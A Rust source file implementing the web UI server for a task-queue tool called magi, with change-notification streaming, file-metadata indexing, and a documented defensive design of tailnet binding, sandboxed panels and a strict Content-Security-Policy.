Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # Independent scheduler
72//!
73//! `/api/loop` starts and controls a detached scheduler. Replacing or closing
74//! the web process does not stop that scheduler or its task/chat workers.
75//! Stop ends scheduling; explicit park additionally asks task workers to stop
76//! at their next node boundary. Updating never requests a park.
77
78#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
119pub const DEFAULT_PORT: u16 = 7878;
120
121/// How often the change stream restats the queue and the runs directory.
122const POLL: Duration = Duration::from_secs(1);
123
124/// Keep-alive interval for the change stream. Phones and intermediaries drop
125/// an idle connection within a minute; a comment every fifteen seconds keeps
126/// the stream alive without waking the radio often enough to matter.
127const KEEPALIVE: Duration = Duration::from_secs(15);
128
129/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
130///
131/// A fixed period this long would not track a `[update] interval` shorter
132/// than itself: an operator who set `interval = "1m"` to make the deck
133/// notice a release within a minute would still wait up to fifteen of them
134/// for the next wake-up to even ask [`updater::Checker::should_check`].
135/// [`recheck_poll_period`] scales the sleep with the configured interval
136/// instead, and this is only its ceiling - reached at the default interval
137/// of a day, where waking any more often would just spend cycles asking a
138/// question that stays "no" for hours.
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141/// Floor on the same, so a very short `[update] interval` cannot spin
142/// [`run_update_recheck`] in a near-busy loop.
143const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145/// Runs returned when the client does not ask, and the ceiling if it asks for
146/// more. The cap exists because the list handler parses every `run.json` it
147/// returns, and a phone cannot render two thousand rows anyway.
148const LIST_DEFAULT: usize = 50;
149/// Upper bound for `?limit=`.
150const LIST_MAX: usize = 500;
151
152/// Width of a generated task title, matching what the CLI uses.
153const TITLE_MAX: usize = 72;
154
155/// Per-file cap for an attachment upload.
156///
157/// Enforced twice: axum's own body limit is raised one byte above this, only
158/// on the two attachment `POST` routes (see the router - every other route
159/// keeps the crate-wide default), so an oversize body is still read far
160/// enough to answer with our own message below rather than axum's generic
161/// one; this constant is what that message and the boundary check actually
162/// compare against.
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165/// The image types an attachment upload accepts - a closed whitelist, the
166/// same posture [`asset_content_type`] takes for panel assets and for the
167/// same reason: SVG is excluded on purpose because it is active content
168/// (it may carry `<script>`) and not merely a picture, so it never appears
169/// here even though `image/svg+xml` is a real IANA type.
170const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172/// Header carrying the operator's own filename. Free text, stored only for
173/// display - see [`talk::Attachment::name`]'s doc on why it never
174/// contributes to a path.
175const FILENAME_HEADER: &str = "x-filename";
176
177/// The header that makes serving agent-authored HTML defensible, sent by both
178/// panel routes and asserted verbatim by a test.
179///
180/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
181/// denies every fetch destination that is not re-allowed below, which is all of
182/// them except images and fonts; `img-src 'self' data:` means an image comes
183/// from magi's own asset route or from the document itself, so a panel cannot
184/// signal an outside server by pointing an `<img>` at it - the classic
185/// exfiltration channel for markup that cannot run script. `style-src
186/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
187/// free formatting means here and a style sheet cannot make a request that
188/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
189/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
190/// stops a form posting the owner's decision to a third party, and
191/// `frame-ancestors 'self'` stops another site framing the panel to phish with
192/// it.
193///
194/// There is deliberately no `script-src`: `default-src 'none'` already covers
195/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
196/// denied twice over. Weakening any directive here is the difference between a
197/// panel the owner reads and a page that can talk to the tailnet, which is why
198/// the test compares the whole string rather than looking for a substring.
199const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200                         font-src data:; base-uri 'none'; form-action 'none'; \
201                         frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207/// Which address to listen on.
208#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210    /// Ask Tailscale, and fall back to loopback with a warning.
211    Auto,
212    /// An address the operator named.
213    Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217    type Err = String;
218
219    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
220    /// the CLI can take `--bind` straight into it: the one spelling of
221    /// `auto` that matters is the one this function knows.
222    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223        if s.eq_ignore_ascii_case("auto") {
224            return Ok(Self::Auto);
225        }
226        s.parse()
227            .map(Self::Addr)
228            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229    }
230}
231
232impl std::fmt::Display for Bind {
233    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234        match self {
235            Self::Auto => f.write_str("auto"),
236            Self::Addr(addr) => write!(f, "{addr}"),
237        }
238    }
239}
240
241/// How to serve.
242#[derive(Debug, Clone)]
243pub struct Opts {
244    /// Address to listen on.
245    pub bind: Bind,
246    /// Port to listen on.
247    pub port: u16,
248    /// Repository used for tasks posted without one.
249    pub repo: PathBuf,
250    /// Print the URL on its own line for a caller that wants to hand it to a
251    /// browser. magi never launches one itself.
252    pub open: bool,
253    /// Merge mode override for the independent scheduler (`none`, `local`,
254    /// `pr`); `None` leaves it to each repository's own config.
255    ///
256    /// The same override as `magi serve --merge`, passed when the phone starts
257    /// dispatch without requiring a terminal.
258    pub merge: Option<String>,
259}
260
261impl Default for Opts {
262    fn default() -> Self {
263        Self {
264            bind: Bind::Auto,
265            port: DEFAULT_PORT,
266            repo: PathBuf::from("."),
267            open: false,
268            merge: None,
269        }
270    }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277/// Metadata only: no task instructions or conversation bodies are read here.
278fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279    try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283    try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287    use std::hash::{Hash as _, Hasher as _};
288    let entries = match std::fs::read_dir(root) {
289        Ok(entries) => entries,
290        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291        Err(e) => return Err(e),
292    };
293    let mut stamps = HashMap::new();
294    for entry in entries {
295        let entry = entry?;
296        let path = if runs {
297            entry.path().join("run.json")
298        } else {
299            entry.path()
300        };
301        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302            continue;
303        }
304        let identity = match file_identity(&path) {
305            Ok(identity) => identity,
306            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307            Err(e) => return Err(e),
308        };
309        let modified = identity
310            .modified
311            .duration_since(std::time::UNIX_EPOCH)
312            .unwrap_or_default();
313        let mut hasher = std::hash::DefaultHasher::new();
314        identity.hash(&mut hasher);
315        let id = if runs || all_entries {
316            entry.file_name().to_string_lossy().into_owned()
317        } else {
318            path.file_stem()
319                .unwrap_or_default()
320                .to_string_lossy()
321                .into_owned()
322        };
323        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324    }
325    Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330    base: u64,
331    changed: Vec<String>,
332    removed: Vec<String>,
333}
334
335fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
336    let mut changed: Vec<_> = next
337        .iter()
338        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
339        .map(|(id, _)| id.clone())
340        .collect();
341    let mut removed: Vec<_> = previous
342        .keys()
343        .filter(|id| !next.contains_key(*id))
344        .cloned()
345        .collect();
346    changed.sort_unstable();
347    removed.sort_unstable();
348    Delta {
349        base,
350        changed,
351        removed,
352    }
353}
354
355/// Change detection token for recorded runs under `runs`.
356#[cfg(test)]
357fn runs_revision(runs: &FsPath) -> u64 {
358    stamps_revision(&store_stamps(runs, true))
359}
360
361/// Opaque tokens use the exact metadata snapshot behind the delta, in both
362/// health and SSE. Nanoseconds and length also detect same-millisecond writes
363/// and deleting an older conversation (a newest-mtime token cannot do that).
364fn stamps_revision(stamps: &Stamps) -> u64 {
365    use std::hash::{Hash as _, Hasher as _};
366    if stamps.is_empty() {
367        return 0;
368    }
369    let mut entries: Vec<_> = stamps.iter().collect();
370    entries.sort_unstable();
371    let mut hasher = std::hash::DefaultHasher::new();
372    entries.hash(&mut hasher);
373    hasher.finish().max(1)
374}
375
376#[derive(Clone, Debug)]
377pub(crate) struct ChangeNotification {
378    pub payload: serde_json::Value,
379}
380
381#[derive(Default, Debug)]
382pub(crate) struct QueueIndex {
383    // Retain parsed records only while their file identity is unchanged.
384    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
385    #[cfg(test)]
386    reparsed: usize,
387}
388
389#[derive(Clone, Debug)]
390struct TaskRelation {
391    id: String,
392    status: Option<crate::queue::TaskStatus>,
393    priority: i32,
394    runs: Vec<String>,
395    source: Source,
396    chat: Option<String>,
397}
398
399impl From<Task> for TaskRelation {
400    fn from(task: Task) -> Self {
401        Self {
402            id: task.id,
403            status: Some(task.status),
404            priority: task.priority,
405            runs: task.runs,
406            source: task.source,
407            chat: task.chat,
408        }
409    }
410}
411
412#[derive(Debug, PartialEq, Eq, Hash)]
413struct FileIdentity {
414    modified: std::time::SystemTime,
415    len: u64,
416    #[cfg(unix)]
417    identity: (u64, u64, i64, i64),
418}
419
420fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
421    let meta = path.metadata()?;
422    Ok(FileIdentity {
423        modified: meta.modified()?,
424        len: meta.len(),
425        #[cfg(unix)]
426        identity: {
427            use std::os::unix::fs::MetadataExt as _;
428            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
429        },
430    })
431}
432
433type Revisions = (u64, u64, u64, u64, u64, u64);
434type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
435
436#[derive(Debug)]
437pub(crate) struct SharedMonitor {
438    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
439    pub latest: Arc<Mutex<MonitorSnapshot>>,
440    pub worker_started: std::sync::atomic::AtomicBool,
441    pub queue_index: Arc<Mutex<QueueIndex>>,
442    list_walks: Mutex<Vec<ListWalk>>,
443    disk: Arc<Mutex<DiskObservation>>,
444    health_index: Mutex<HealthIndex>,
445    disk_cache: Mutex<DiskCache>,
446    talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
447    talk_status_index: Mutex<TalkStatusIndex>,
448    bulk_slots: Arc<tokio::sync::Semaphore>,
449    talk_core_slots: Arc<tokio::sync::Semaphore>,
450    #[cfg(test)]
451    talk_parses: std::sync::atomic::AtomicUsize,
452}
453
454/// Request-time indexes retain projections, never transcripts or whole runs.
455#[derive(Debug, Default)]
456struct HealthIndex {
457    runs: HashMap<String, (FileIdentity, bool)>,
458    questions: Option<QuestionCounts>,
459    notices: Option<(u64, usize)>,
460    #[cfg(test)]
461    run_parses: usize,
462}
463
464/// Membership classification retains no transcript data, including for closed
465/// history that has never been requested. Cache unreadable files too.
466#[derive(Debug, Default)]
467struct TalkStatusIndex {
468    records: HashMap<String, (FileIdentity, Option<talk::TalkStatus>)>,
469    #[cfg(test)]
470    parses: usize,
471}
472
473/// Talk's serializer writes status before turns. Stop deserializing as soon as
474/// that header is available; do not validate or traverse the transcript here.
475/// Noncanonical headers are bounded too and conservatively included in the
476/// initial page, where the ordinary row reader validates their actual status.
477fn read_talk_status(reader: impl std::io::Read) -> Option<talk::TalkStatus> {
478    use serde::de::{IgnoredAny, MapAccess, Visitor};
479
480    struct StatusHeader<'a>(&'a mut Option<talk::TalkStatus>);
481    impl<'de> Visitor<'de> for StatusHeader<'_> {
482        type Value = ();
483
484        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
485            f.write_str("a conversation header")
486        }
487
488        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Self::Value, A::Error> {
489            while let Some(key) = map.next_key::<String>()? {
490                match key.as_str() {
491                    "status" => {
492                        *self.0 = Some(map.next_value()?);
493                        return Err(serde::de::Error::custom("conversation header complete"));
494                    }
495                    "turns" => {
496                        *self.0 = Some(talk::TalkStatus::Open);
497                        return Err(serde::de::Error::custom("noncanonical conversation header"));
498                    }
499                    _ => {
500                        map.next_value::<IgnoredAny>()?;
501                    }
502                }
503            }
504            Ok(())
505        }
506    }
507
508    // At most one KiB of read-ahead for canonical files, and a fixed maximum
509    // even for an oversized header. Do not call Deserializer::end: the rest of
510    // the document deliberately belongs to the paged row reader.
511    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
512    let mut json = serde_json::Deserializer::from_reader(reader);
513    let mut status = None;
514    // The visitor deliberately signals completion with an error, avoiding the
515    // deserializer's normal closing-brace check on the unfinished object.
516    let result = serde::Deserializer::deserialize_map(&mut json, StatusHeader(&mut status));
517    status.or_else(|| match result {
518        Ok(()) => Some(talk::TalkStatus::Open),
519        Err(error) if error.is_eof() => Some(talk::TalkStatus::Open),
520        Err(_) => None,
521    })
522}
523
524fn open_talk_ids(ui: &Ui, ids: &[String]) -> std::collections::HashSet<String> {
525    open_talk_ids_with(ui, ids, |path| {
526        std::fs::File::open(path).ok().and_then(read_talk_status)
527    })
528}
529
530fn open_talk_ids_with(
531    ui: &Ui,
532    ids: &[String],
533    mut read_status: impl FnMut(&FsPath) -> Option<talk::TalkStatus>,
534) -> std::collections::HashSet<String> {
535    let mut index = ui
536        .monitor
537        .talk_status_index
538        .lock()
539        .unwrap_or_else(PoisonError::into_inner);
540    let present: std::collections::HashSet<_> = ids.iter().collect();
541    index.records.retain(|id, _| present.contains(id));
542    let mut open = std::collections::HashSet::new();
543    for id in ids {
544        let Ok(identity) = file_identity(&ui.talks.path_of(id)) else {
545            index.records.remove(id);
546            continue;
547        };
548        let status = if let Some((old, status)) = index.records.get(id)
549            && *old == identity
550        {
551            *status
552        } else {
553            let status = read_status(&ui.talks.path_of(id));
554            #[cfg(test)]
555            {
556                index.parses += 1;
557            }
558            if file_identity(&ui.talks.path_of(id)).is_ok_and(|after| after == identity) {
559                index.records.insert(id.clone(), (identity, status));
560            } else {
561                index.records.remove(id);
562            }
563            status
564        };
565        if status == Some(talk::TalkStatus::Open) {
566            open.insert(id.clone());
567        }
568    }
569    open
570}
571
572/// Live stamps invalidate counts immediately; the TTL also refreshes lease state.
573const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
574
575#[derive(Debug)]
576struct QuestionCounts {
577    revision: u64,
578    measured: std::time::Instant,
579    open: usize,
580    owner: usize,
581}
582
583#[derive(Debug, Clone)]
584struct DiskSizes {
585    runs: u64,
586    worktrees: u64,
587    cache: Option<u64>,
588}
589
590#[derive(Debug, Default)]
591struct DiskCache {
592    measured: Option<std::time::Instant>,
593    loading: bool,
594    config: Option<Config>,
595    disk: Option<DiskSizes>,
596    update: Option<UpdateView>,
597}
598
599/// Keep a failed store's last observation without suppressing healthy stores.
600fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
601    let (mut rev, mut stamps) = previous.unwrap_or_default();
602    for (index, root, runs) in [
603        (0, ui.queue.root(), false),
604        (1, ui.runs.as_path(), true),
605        (2, ui.talks.root(), false),
606    ] {
607        if let Ok(next) = try_store_stamps(root, runs) {
608            let value = stamps_revision(&next);
609            match index {
610                0 => rev.0 = value,
611                1 => rev.1 = value,
612                _ => rev.3 = value,
613            }
614            stamps[index] = next;
615        }
616    }
617    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
618        rev.2 = stamps_revision(&next);
619    }
620    if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
621        rev.4 = stamps_revision(&next);
622    }
623    rev.5 = ui.lock_loop().rev;
624    (rev, stamps)
625}
626
627impl SharedMonitor {
628    pub fn new() -> Self {
629        let (tx, _) = tokio::sync::broadcast::channel(64);
630        Self {
631            broadcaster: tx,
632            latest: Arc::default(),
633            worker_started: std::sync::atomic::AtomicBool::new(false),
634            queue_index: Arc::default(),
635            list_walks: Mutex::default(),
636            disk: Arc::default(),
637            health_index: Mutex::default(),
638            disk_cache: Mutex::default(),
639            talk_index: Mutex::default(),
640            talk_status_index: Mutex::default(),
641            bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
642            talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
643            #[cfg(test)]
644            talk_parses: std::sync::atomic::AtomicUsize::new(0),
645        }
646    }
647
648    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
649        let mut receiver = self.broadcaster.subscribe();
650        self.ensure_worker(ui);
651        loop {
652            if let Some((revisions, _)) = self
653                .latest
654                .lock()
655                .unwrap_or_else(PoisonError::into_inner)
656                .as_ref()
657            {
658                return Ok(*revisions);
659            }
660            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
661                .await
662                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
663                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
664        }
665    }
666
667    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
668        if self
669            .worker_started
670            .compare_exchange(
671                false,
672                true,
673                std::sync::atomic::Ordering::SeqCst,
674                std::sync::atomic::Ordering::SeqCst,
675            )
676            .is_err()
677        {
678            return;
679        }
680
681        let weak_ui = Arc::downgrade(ui);
682        tokio::spawn(async move {
683            let mut ticker = tokio::time::interval(POLL);
684            loop {
685                ticker.tick().await;
686                let Some(ui) = weak_ui.upgrade() else {
687                    break;
688                };
689
690                let previous = ui
691                    .monitor
692                    .latest
693                    .lock()
694                    .unwrap_or_else(PoisonError::into_inner)
695                    .clone();
696                let state = Arc::clone(&ui);
697                let scan =
698                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
699
700                // A slow filesystem must not turn missed ticks into a busy loop.
701                ticker.reset();
702                let Ok((revisions, next_stamps)) = scan else {
703                    continue;
704                };
705
706                let mut latest_guard = match ui.monitor.latest.lock() {
707                    Ok(g) => g,
708                    Err(p) => p.into_inner(),
709                };
710
711                let previous = latest_guard.take();
712                let (last_rev, prev_stamps) = match previous {
713                    Some((r, s)) => (Some(r), Some(s)),
714                    None => (None, None),
715                };
716
717                if last_rev == Some(revisions) {
718                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
719                    continue;
720                }
721
722                let mut payload = serde_json::json!({
723                    "queue_rev": revisions.0,
724                    "runs_rev": revisions.1,
725                    "questions_rev": revisions.2,
726                    "talks_rev": revisions.3,
727                    "notifications_rev": revisions.4,
728                    "loop_rev": revisions.5,
729                });
730
731                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
732                    for (index, (key, rev)) in [
733                        ("queue_delta", base.0),
734                        ("runs_delta", base.1),
735                        ("talks_delta", base.3),
736                    ]
737                    .into_iter()
738                    .enumerate()
739                    {
740                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
741                        if delta.changed.len() + delta.removed.len() > 0
742                            && delta.changed.len() <= 50
743                        {
744                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
745                        }
746                    }
747                }
748
749                *latest_guard = Some((revisions, next_stamps));
750                drop(latest_guard);
751
752                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
753            }
754        });
755    }
756}
757
758/// Everything the handlers touch.
759///
760/// The queue, the runs directory and the magi home are fields rather than
761/// process-global lookups so a test drives the real router against a temp
762/// directory instead of the operator's own history.
763#[derive(Debug, Clone)]
764pub struct Ui {
765    queue: Queue,
766    questions: Questions,
767    /// `<home>/notifications`, the bell's own store. Derived from `home` in
768    /// [`Ui::new`] so no constructor signature had to grow.
769    notices: Notices,
770    talks: Talks,
771    runs: PathBuf,
772    references: Arc<id_links::IndexCache>,
773    home: PathBuf,
774    repo: PathBuf,
775    /// Where the runs' worktrees live, for the health disk figures.
776    ///
777    /// Spelled independently of [`crate::run::default_worktree_root`] so the
778    /// test servers can point it at their own temp directory: the health route
779    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
780    /// be measuring the machine instead of the server.
781    worktrees_root: PathBuf,
782    /// Talks with an agent turn in flight right now.
783    ///
784    /// In-process and therefore not durable, which is correct: it guards
785    /// against two taps on one phone and two phones on one tailnet, both of
786    /// which are this process's own concurrency. A second `magi web` would not
787    /// see it, and a second `magi web` on the same home is already a
788    /// misconfiguration the queue's claims would catch first.
789    talk_turns: Arc<Mutex<TalkTurns>>,
790    /// Short persistence-to-worker-publication transactions only, never agent
791    /// execution. A handover closes admission before it releases the runtime.
792    admissions: Arc<tokio::sync::RwLock<bool>>,
793    /// Held by `POST /api/upgrade` from its busy-stage check until the first
794    /// progress record is written, so two taps cannot both start an upgrade.
795    /// After that `upgrade.json` carries the exclusion.
796    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
797    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
798    /// exclusion in memory for when `upgrade.json` could not be written.
799    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
800    /// Request failures before progress exists; never overwrite upgrade.json.
801    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
802    auto_failed_tag: Arc<Mutex<Option<String>>>,
803    upgrade_runner: UpgradeRunner,
804    /// Runs this process is resuming right now.
805    ///
806    /// Separate from `talk_turns` because a run and a talk are different
807    /// things to hold, and a resume is far more expensive to start twice: it
808    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
809    /// guards two taps and two phones, which is this process's own
810    /// concurrency.
811    resuming: Arc<Mutex<HashSet<String>>>,
812    /// The last scan of `[repos] roots`, and when it happened. Shared across
813    /// requests so polling `GET /api/repos` repeatedly does not repeat the
814    /// filesystem walk every time - see [`repos::Cache`].
815    repos_cache: repos::Cache,
816    /// The machine-config file the settings screen reads and writes: always
817    /// [`Config::machine_layer`], never anything a request names. A field so a
818    /// test can point it at its own temp directory instead of the operator's.
819    machine_config: Option<PathBuf>,
820    /// Merge mode override handed to the loop this process starts.
821    merge: Option<String>,
822    /// Local request revision and errors; execution belongs to detached workers.
823    looping: Arc<Mutex<LoopState>>,
824    /// Isolated route-test scheduler; never compiled into production.
825    #[cfg(test)]
826    launch: Launch,
827    /// A test-only stop point inside `talk_say`'s busy branch. See
828    /// [`BusyQueueGate`].
829    #[cfg(test)]
830    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
831    pub(crate) monitor: Arc<SharedMonitor>,
832}
833
834type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
835
836/// A one-shot stop point the busy branch's queued-draft write can be made to
837/// pause at, right before [`talk::queue`] runs.
838///
839/// Exists because a test cannot otherwise pin *when*, relative to the turn
840/// slot being freed, that write happens: `blocking` runs it on
841/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
842/// already finished, so counting polls on the handler future to park it at a
843/// particular `.await` is a guess about scheduling, not a fact about it - see
844/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
845/// used to do exactly that and paid for it with an occasional "async fn
846/// resumed after completion" panic under load.
847///
848/// `reached` fires the instant the write is about to run, so a test waits for
849/// a real event instead of a poll count. `release` then blocks the write
850/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
851/// rather than an async channel because this all happens inside the
852/// `spawn_blocking` closure the write already runs on, off any runtime
853/// worker, so blocking here costs nothing the write was not already going to
854/// cost.
855#[cfg(test)]
856struct BusyQueueGate {
857    reached: tokio::sync::oneshot::Sender<()>,
858    release: std::sync::mpsc::Receiver<()>,
859}
860
861#[cfg(test)]
862impl std::fmt::Debug for BusyQueueGate {
863    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
864        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
865    }
866}
867
868impl Ui {
869    /// A server over explicit paths.
870    pub fn new(
871        queue: Queue,
872        questions: Questions,
873        talks: Talks,
874        runs: PathBuf,
875        home: PathBuf,
876        repo: PathBuf,
877    ) -> Self {
878        Self {
879            queue,
880            questions,
881            notices: Notices::at(home.join("notifications")),
882            talks,
883            runs,
884            references: Arc::default(),
885            home,
886            repo,
887            // The default location, overridden by `with_worktrees_root` - a
888            // builder step rather than a ninth parameter, for the reason
889            // `with_merge` gives.
890            worktrees_root: run::default_worktree_root(),
891            talk_turns: Arc::default(),
892            admissions: Arc::default(),
893            upgrade_gate: Arc::default(),
894            upgrade_spawned: Arc::default(),
895            upgrade_request_error: Arc::default(),
896            auto_failed_tag: Arc::default(),
897            upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
898            resuming: Arc::default(),
899            repos_cache: repos::Cache::new(),
900            machine_config: Config::machine_layer(),
901            merge: None,
902            looping: Arc::default(),
903            #[cfg(test)]
904            launch: launch_daemon,
905            #[cfg(test)]
906            busy_queue_gate: Arc::default(),
907            monitor: Arc::new(SharedMonitor::new()),
908        }
909    }
910
911    /// Refresh metadata on every lookup, including external-process writes. Only
912    /// changed records are parsed. Never publish a partial scan as an empty set.
913    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
914        let mut index = self
915            .monitor
916            .queue_index
917            .lock()
918            .unwrap_or_else(PoisonError::into_inner);
919        let entries = match std::fs::read_dir(self.queue.root()) {
920            Ok(entries) => entries,
921            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
922                index.records.clear();
